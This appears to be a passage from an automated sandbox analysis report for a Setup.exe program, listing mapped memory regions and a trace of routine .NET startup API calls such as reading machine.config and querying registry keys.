"{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000019.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db") Region: id = 1389 start_va = 0x740000 end_va = 0x743fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1390 start_va = 0x5960000 end_va = 0x59c5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1391 start_va = 0xab0000 end_va = 0xabdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 1392 start_va = 0x75900000 end_va = 0x75a35fff monitored = 0 entry_point = 0x75901b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1393 start_va = 0x76de0000 end_va = 0x76ed4fff monitored = 0 entry_point = 0x76de1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1394 start_va = 0x751f0000 end_va = 0x753eafff monitored = 0 entry_point = 0x751f22d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1395 start_va = 0x75a50000 end_va = 0x75b70fff monitored = 0 entry_point = 0x75a5158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1396 start_va = 0x77610000 end_va = 0x7761bfff monitored = 0 entry_point = 0x7761238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1397 start_va = 0xac0000 end_va = 0xac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 1398 start_va = 0x77020000 end_va = 0x771bcfff monitored = 0 entry_point = 0x770217e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1399 start_va = 0x77210000 end_va = 0x77236fff monitored = 0 entry_point = 0x772158b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1400 start_va = 0x75f20000 end_va = 0x75f31fff monitored = 0 entry_point = 0x75f21441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1401 start_va = 0xbb0000 end_va = 0xbbcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 1434 start_va = 0x6980000 end_va = 0x69bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006980000" filename = "" Region: id = 1435 start_va = 0x8b90000 end_va = 0x8c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008b90000" filename = "" Region: id = 1436 start_va = 0xfffa1000 end_va = 0xfffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa1000" filename = "" Region: id = 1437 start_va = 0xd00000 end_va = 0xd00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 1494 start_va = 0xdc0000 end_va = 0xdc4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 1822 start_va = 0xdd0000 end_va = 0xdd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 1823 start_va = 0x5490000 end_va = 0x54d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005490000" filename = "" Region: id = 1824 start_va = 0x5c00000 end_va = 0x5cbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c00000" filename = "" Region: id = 1825 start_va = 0x5cc0000 end_va = 0x5cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005cc0000" filename = "" Region: id = 1826 start_va = 0xea0000 end_va = 0xea0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 1927 start_va = 0xdd0000 end_va = 0xdd1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 1933 start_va = 0xdd0000 end_va = 0xdd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 1934 start_va = 0xdd0000 end_va = 0xddbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 1936 start_va = 0xdd0000 end_va = 0xddcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 1938 start_va = 0xdd0000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 1947 start_va = 0x1290000 end_va = 0x12a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 1948 start_va = 0x1290000 end_va = 0x12a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 1949 start_va = 0x1290000 end_va = 0x12a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 1950 start_va = 0xdd0000 end_va = 0xdd3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1985 start_va = 0x6b20000 end_va = 0x6b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b20000" filename = "" Region: id = 1986 start_va = 0x8d50000 end_va = 0x8e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d50000" filename = "" Region: id = 1987 start_va = 0xfff3d000 end_va = 0xfff3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff3d000" filename = "" Region: id = 2045 start_va = 0x5490000 end_va = 0x54dcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005490000" filename = "" Region: id = 2188 start_va = 0x5c00000 end_va = 0x5c73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c00000" filename = "" Region: id = 2427 start_va = 0x5c00000 end_va = 0x5c99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c00000" filename = "" Region: id = 2566 start_va = 0xeb0000 end_va = 0xeb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 2567 start_va = 0x5490000 end_va = 0x54d8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005490000" filename = "" Region: id = 2570 start_va = 0xea0000 end_va = 0xeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 2571 start_va = 0x1290000 end_va = 0x129ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 2572 start_va = 0x12a0000 end_va = 0x12affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 2573 start_va = 0x5c00000 end_va = 0x5c71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c00000" filename = "" Region: id = 2574 start_va = 0xea0000 end_va = 0xeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 2575 start_va = 0x1290000 end_va = 0x129ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 2577 start_va = 0x5900000 end_va = 0x593cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005900000" filename = "" Region: id = 2578 start_va = 0x5d00000 end_va = 0x5d71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 2587 start_va = 0x8e50000 end_va = 0xa1a4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\SysWOW64\\imageres.dll" (normalized: "c:\\windows\\syswow64\\imageres.dll") Region: id = 2588 start_va = 0xea0000 end_va = 0xea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\imageres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\imageres.dll.mui") Region: id = 2693 start_va = 0x1290000 end_va = 0x12a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 2694 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 2714 start_va = 0x1290000 end_va = 0x12ccfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 2715 start_va = 0x5b30000 end_va = 0x5ba1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b30000" filename = "" Region: id = 2717 start_va = 0x5b30000 end_va = 0x5beafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b30000" filename = "" Region: id = 2814 start_va = 0x1290000 end_va = 0x12a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 2815 start_va = 0x5b30000 end_va = 0x5beafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b30000" filename = "" Region: id = 2828 start_va = 0x1290000 end_va = 0x12ccfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 2829 start_va = 0x5b70000 end_va = 0x5baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b70000" filename = "" Region: id = 2830 start_va = 0x5d00000 end_va = 0x5d71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 2831 start_va = 0xa200000 end_va = 0xa2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a200000" filename = "" Region: id = 2832 start_va = 0xfffa7000 end_va = 0xfffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa7000" filename = "" Region: id = 2928 start_va = 0x1290000 end_va = 0x12a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 2929 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 3117 start_va = 0x1290000 end_va = 0x12ccfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3118 start_va = 0x12d0000 end_va = 0x131dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 3119 start_va = 0x1290000 end_va = 0x12a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3120 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 3270 start_va = 0x1290000 end_va = 0x12ccfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3271 start_va = 0x12d0000 end_va = 0x131dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 3281 start_va = 0x12d0000 end_va = 0x12f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 3366 start_va = 0x1290000 end_va = 0x12a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3367 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 3397 start_va = 0x1290000 end_va = 0x12ccfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3398 start_va = 0x5d00000 end_va = 0x5d71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 3479 start_va = 0x1290000 end_va = 0x12a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3480 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 3537 start_va = 0x1290000 end_va = 0x12ccfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3538 start_va = 0x5d00000 end_va = 0x5d71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 3669 start_va = 0x1290000 end_va = 0x12ccfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3670 start_va = 0x12d0000 end_va = 0x131dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 3725 start_va = 0x12d0000 end_va = 0x12f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 3771 start_va = 0x1290000 end_va = 0x12a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3772 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 3794 start_va = 0x1290000 end_va = 0x12ccfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3795 start_va = 0x5d00000 end_va = 0x5d71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 3929 start_va = 0x1290000 end_va = 0x12a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3930 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 4052 start_va = 0x1290000 end_va = 0x12cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 4053 start_va = 0x12d0000 end_va = 0x130cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4054 start_va = 0x5900000 end_va = 0x594dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005900000" filename = "" Region: id = 4055 start_va = 0x6a10000 end_va = 0x6b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a10000" filename = "" Region: id = 4056 start_va = 0xfffa4000 end_va = 0xfffa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa4000" filename = "" Region: id = 4059 start_va = 0x5900000 end_va = 0x5926fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005900000" filename = "" Region: id = 4139 start_va = 0x12d0000 end_va = 0x12e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4140 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 4261 start_va = 0x12d0000 end_va = 0x130cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4262 start_va = 0x5900000 end_va = 0x594dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005900000" filename = "" Region: id = 4362 start_va = 0x12d0000 end_va = 0x12e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4363 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 4506 start_va = 0x12d0000 end_va = 0x12e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4613 start_va = 0x12d0000 end_va = 0x130cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4614 start_va = 0x5900000 end_va = 0x594dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005900000" filename = "" Region: id = 4615 start_va = 0x12d0000 end_va = 0x12e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4616 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 4617 start_va = 0x12d0000 end_va = 0x12e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4725 start_va = 0x12d0000 end_va = 0x130cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4726 start_va = 0x5900000 end_va = 0x594dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005900000" filename = "" Region: id = 4727 start_va = 0x12d0000 end_va = 0x12e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4728 start_va = 0x5d00000 end_va = 0x5dbafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Thread: id = 1 os_tid = 0x938 [0046.448] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0049.164] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc17c [0049.165] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1bd [0049.306] GetCurrentProcess () returned 0xffffffff [0049.307] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x37eca8 | out: TokenHandle=0x37eca8*=0x1e4) returned 1 [0049.364] GetCurrentProcess () returned 0xffffffff [0049.364] GetCurrentThread () returned 0xfffffffe [0049.364] GetCurrentProcess () returned 0xffffffff [0049.365] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x37ed04, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x37ed04*=0x1e8) returned 1 [0049.369] GetCurrentThreadId () returned 0x938 [0049.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Setup.exe.config", nBufferLength=0x105, lpBuffer=0x37e5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Setup.exe.config", lpFilePart=0x0) returned 0x2b [0049.644] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x37e2c8 | out: phkResult=0x37e2c8*=0x0) returned 0x2 [0049.645] RegCloseKey (hKey=0x80000002) returned 0x0 [0049.926] GetCurrentProcess () returned 0xffffffff [0049.927] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x37e908 | out: TokenHandle=0x37e908*=0x40) returned 1 [0049.933] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x37e3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0049.971] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x37e900 | out: lpFileInformation=0x37e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0049.973] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x37e38c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0049.973] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x37e908 | out: lpFileInformation=0x37e908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0049.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x37e328, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0049.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x37e840) returned 1 [0049.979] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1f8 [0049.979] GetFileType (hFile=0x1f8) returned 0x1 [0049.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x37e83c) returned 1 [0049.979] GetFileType (hFile=0x1f8) returned 0x1 [0050.604] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x37db78, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0050.604] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x37dbdc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0050.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x37de1c) returned 1 [0050.605] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x37e0e0 | out: lpFileInformation=0x37e0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0050.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x37de18) returned 1 [0050.705] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x37dfac | out: pfEnabled=0x37dfac) returned 0x0 [0050.796] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x37e88c | out: phkResult=0x37e88c*=0x0) returned 0x2 [0050.796] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x37e88c | out: phkResult=0x37e88c*=0x0) returned 0x2 [0050.799] GetFileSize (in: hFile=0x1f8, lpFileSizeHigh=0x37e8fc | out: lpFileSizeHigh=0x37e8fc*=0x0) returned 0x8c8e [0050.800] ReadFile (in: hFile=0x1f8, lpBuffer=0x33e079c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37e8b8, lpOverlapped=0x0 | out: lpBuffer=0x33e079c*, lpNumberOfBytesRead=0x37e8b8*=0x1000, lpOverlapped=0x0) returned 1 [0050.819] ReadFile (in: hFile=0x1f8, lpBuffer=0x33e079c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37e768, lpOverlapped=0x0 | out: lpBuffer=0x33e079c*, lpNumberOfBytesRead=0x37e768*=0x1000, lpOverlapped=0x0) returned 1 [0050.821] ReadFile (in: hFile=0x1f8, lpBuffer=0x33e079c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37e61c, lpOverlapped=0x0 | out: lpBuffer=0x33e079c*, lpNumberOfBytesRead=0x37e61c*=0x1000, lpOverlapped=0x0) returned 1 [0050.822] ReadFile (in: hFile=0x1f8, lpBuffer=0x33e079c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37e61c, lpOverlapped=0x0 | out: lpBuffer=0x33e079c*, lpNumberOfBytesRead=0x37e61c*=0x1000, lpOverlapped=0x0) returned 1 [0050.823] ReadFile (in: hFile=0x1f8, lpBuffer=0x33e079c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37e61c, lpOverlapped=0x0 | out: lpBuffer=0x33e079c*, lpNumberOfBytesRead=0x37e61c*=0x1000, lpOverlapped=0x0) returned 1 [0050.824] ReadFile (in: hFile=0x1f8, lpBuffer=0x33e079c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37e554, lpOverlapped=0x0 | out: lpBuffer=0x33e079c*, lpNumberOfBytesRead=0x37e554*=0x1000, lpOverlapped=0x0) returned 1 [0050.831] ReadFile (in: hFile=0x1f8, lpBuffer=0x33e079c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37e6c0, lpOverlapped=0x0 | out: lpBuffer=0x33e079c*, lpNumberOfBytesRead=0x37e6c0*=0x1000, lpOverlapped=0x0) returned 1 [0050.833] ReadFile (in: hFile=0x1f8, lpBuffer=0x33e079c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37e5b4, lpOverlapped=0x0 | out: lpBuffer=0x33e079c*, lpNumberOfBytesRead=0x37e5b4*=0x1000, lpOverlapped=0x0) returned 1 [0050.833] ReadFile (in: hFile=0x1f8, lpBuffer=0x33e079c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37e5b4, lpOverlapped=0x0 | out: lpBuffer=0x33e079c*, lpNumberOfBytesRead=0x37e5b4*=0xc8e, lpOverlapped=0x0) returned 1 [0050.833] ReadFile (in: hFile=0x1f8, lpBuffer=0x33e079c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x37e678, lpOverlapped=0x0 | out: lpBuffer=0x33e079c*, lpNumberOfBytesRead=0x37e678*=0x0, lpOverlapped=0x0) returned 1 [0050.834] CloseHandle (hObject=0x1f8) returned 1 [0050.834] CloseHandle (hObject=0x40) returned 1 [0050.835] GetCurrentProcess () returned 0xffffffff [0050.835] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x37ea54 | out: TokenHandle=0x37ea54*=0x40) returned 1 [0050.836] CloseHandle (hObject=0x40) returned 1 [0050.836] GetCurrentProcess () returned 0xffffffff [0050.837] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x37ea54 | out: TokenHandle=0x37ea54*=0x40) returned 1 [0050.837] CloseHandle (hObject=0x40) returned 1 [0050.846] GetCurrentProcess () returned 0xffffffff 